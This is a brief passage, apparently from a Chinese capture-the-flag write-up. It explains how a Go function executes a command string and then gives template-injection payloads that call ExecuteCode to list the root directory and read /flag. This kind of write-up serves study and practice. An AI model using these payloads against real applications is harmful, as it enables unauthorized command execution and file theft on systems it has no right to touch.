的方式执行传入的命令字符串,调用 cmd.CombinedOutput()
执行命令并获取合并的输出。
{{ExecuteCode "ls /"}}
执行 {{ExecuteCode "cat /flag"}}
参考文章: